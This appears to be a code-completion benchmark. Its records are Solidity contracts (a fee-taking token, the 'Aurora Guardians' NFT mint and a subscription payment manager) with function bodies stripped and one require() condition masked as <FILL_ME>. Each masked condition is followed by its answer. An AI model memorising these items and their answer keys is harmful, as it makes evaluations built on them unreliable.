uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousInitFee = _reflectionFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _devWallet = payable(0x67E1E55E69eDEf00d1fe5DC83E4637206EDD0bD0);
address payable private _marketingWallet = payable(0x67E1E55E69eDEf00d1fe5DC83E4637206EDD0bD0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool private openTrading = false;
uint256 public _maxTx = 20000000 * 10**9;
uint256 public _maxWallet = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTx);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _openTrading) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setTax(uint256 initOnBuy, uint256 initOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function noMaxWallet() public onlyOwner {
}
}
| _msgSender()==_devWallet||_msgSender()==_marketingWallet | 70,389 | _msgSender()==_devWallet||_msgSender()==_marketingWallet |
"Exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
require(<FILL_ME>)
require(saleIsActive, "sale is not active");
require(count <= MINT_LIMIT_PER_WALLET, "you want more that you can mint");
if(apollXMemberMap[msg.sender] && apollxListIsActive) {
mintController(5, count, "");
} else if(allowListMap[msg.sender] && allowListIsActive) {
mintController(3, count, "Insufficient payment, 0.005 ETH for token 4 and 5 in your wallet");
} else if(publicMintIsActive) {
mintController(2, count, "Insufficient payment, 0.005 ETH for token 3, 4 and 5 in your wallet");
} else {
revert("public sale is not active");
}
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
}
function addAllowlistMember(address member) public onlyOwner {
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| (totalSupply()+count)<=MAX_SUPPLY,"Exceeds max supply" | 70,393 | (totalSupply()+count)<=MAX_SUPPLY |
message | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
if( balanceOf(msg.sender) >= maxFreeCount) {
require(<FILL_ME>)
} else if( balanceOf(msg.sender) > 0 && (balanceOf(msg.sender) + count) > maxFreeCount ) {
require(msg.value >= (MINT_PRICE * ((balanceOf(msg.sender) + count) - maxFreeCount)), message);
} else if( balanceOf(msg.sender) < maxFreeCount && count > maxFreeCount ) {
require(msg.value >= (MINT_PRICE * ( count - maxFreeCount )), message);
}
if (allowedMintCount(msg.sender) >= count) {
updateMintCount(msg.sender, count);
} else {
revert(saleIsActive ? "Minting limit exceeded" : "Sale not active");
}
for (uint256 i = 0; i < count; i++) {
_mint(msg.sender, totalSupply());
supplyCounter.increment();
}
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
}
function addAllowlistMember(address member) public onlyOwner {
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| msg.value>=(MINT_PRICE*count),message | 70,393 | msg.value>=(MINT_PRICE*count) |
message | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
if( balanceOf(msg.sender) >= maxFreeCount) {
require(msg.value >= (MINT_PRICE * count), message);
} else if( balanceOf(msg.sender) > 0 && (balanceOf(msg.sender) + count) > maxFreeCount ) {
require(<FILL_ME>)
} else if( balanceOf(msg.sender) < maxFreeCount && count > maxFreeCount ) {
require(msg.value >= (MINT_PRICE * ( count - maxFreeCount )), message);
}
if (allowedMintCount(msg.sender) >= count) {
updateMintCount(msg.sender, count);
} else {
revert(saleIsActive ? "Minting limit exceeded" : "Sale not active");
}
for (uint256 i = 0; i < count; i++) {
_mint(msg.sender, totalSupply());
supplyCounter.increment();
}
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
}
function addAllowlistMember(address member) public onlyOwner {
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| msg.value>=(MINT_PRICE*((balanceOf(msg.sender)+count)-maxFreeCount)),message | 70,393 | msg.value>=(MINT_PRICE*((balanceOf(msg.sender)+count)-maxFreeCount)) |
message | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
if( balanceOf(msg.sender) >= maxFreeCount) {
require(msg.value >= (MINT_PRICE * count), message);
} else if( balanceOf(msg.sender) > 0 && (balanceOf(msg.sender) + count) > maxFreeCount ) {
require(msg.value >= (MINT_PRICE * ((balanceOf(msg.sender) + count) - maxFreeCount)), message);
} else if( balanceOf(msg.sender) < maxFreeCount && count > maxFreeCount ) {
require(<FILL_ME>)
}
if (allowedMintCount(msg.sender) >= count) {
updateMintCount(msg.sender, count);
} else {
revert(saleIsActive ? "Minting limit exceeded" : "Sale not active");
}
for (uint256 i = 0; i < count; i++) {
_mint(msg.sender, totalSupply());
supplyCounter.increment();
}
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
}
function addAllowlistMember(address member) public onlyOwner {
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| msg.value>=(MINT_PRICE*(count-maxFreeCount)),message | 70,393 | msg.value>=(MINT_PRICE*(count-maxFreeCount)) |
"Already a member" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
require(<FILL_ME>)
apollXMemberMap[member] = true;
}
function addAllowlistMember(address member) public onlyOwner {
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| !apollXMemberMap[member],"Already a member" | 70,393 | !apollXMemberMap[member] |
"Already a member" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract AuroraGuardians is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
constructor() ERC721("Aurora Guardians", "AGT") {
}
Counters.Counter private supplyCounter;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MINT_LIMIT_PER_WALLET = 5;
uint256 public constant MINT_PRICE = 5000000000000000;
string public customBaseURI = "https://aurora-guardians.apollx.workers.dev/";
mapping(address => uint256) private mintCountMap;
mapping(address => uint256) private allowedMintCountMap;
mapping(address => bool) private apollXMemberMap;
mapping(address => bool) private allowListMap;
bool public saleIsActive = true;
bool public apollxListIsActive = false;
bool public allowListIsActive = false;
bool public publicMintIsActive = false;
function mint(uint256 count) public payable nonReentrant {
}
/* HELPER */
function mintController(uint256 maxFreeCount, uint256 count, string memory message) private {
}
function totalSupply() public view returns (uint256) {
}
function max(uint256 a, uint256 b) private pure returns (uint256) {
}
function allowedMintCount(address minter) public view returns (uint256) {
}
function updateMintCount(address minter, uint256 count) private {
}
function addApollXMember(address member) public onlyOwner {
}
function addAllowlistMember(address member) public onlyOwner {
require(<FILL_ME>)
allowListMap[member] = true;
}
/* ACTIVE HANDLING */
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
function setApollxListIsActive(bool apollxListIsActive_) external onlyOwner {
}
function setAllowListIsActive(bool allowListIsActive_) external onlyOwner {
}
function setPublicMintIsActive(bool publicMintIsActive_) external onlyOwner {
}
/* URI HANDLING */
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private constant contributor1 = 0x86a57403f59da8CF15c0f0C0e953De2DE917d0C7;
address private constant contributor2 = 0xd56995A017969BFc4c934dDcA9Fa9fbf6E5b1eC2;
address private constant contributor3 = 0x4cD37FA9BaC56F671870939cC7860e8C6f952891;
function withdraw() public nonReentrant onlyOwner {
}
/** ROYALTIES **/
function royaltyInfo(uint256, uint256 salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
}
}
| !allowListMap[member],"Already a member" | 70,393 | !allowListMap[member] |
"That is the zero address" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
require(<FILL_ME>)
chainId = _chainId;
owner = msg.sender;
uniV3Factory = _uniV3Factory;
wrappedNativeToken = _wrappedNativeToken;
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
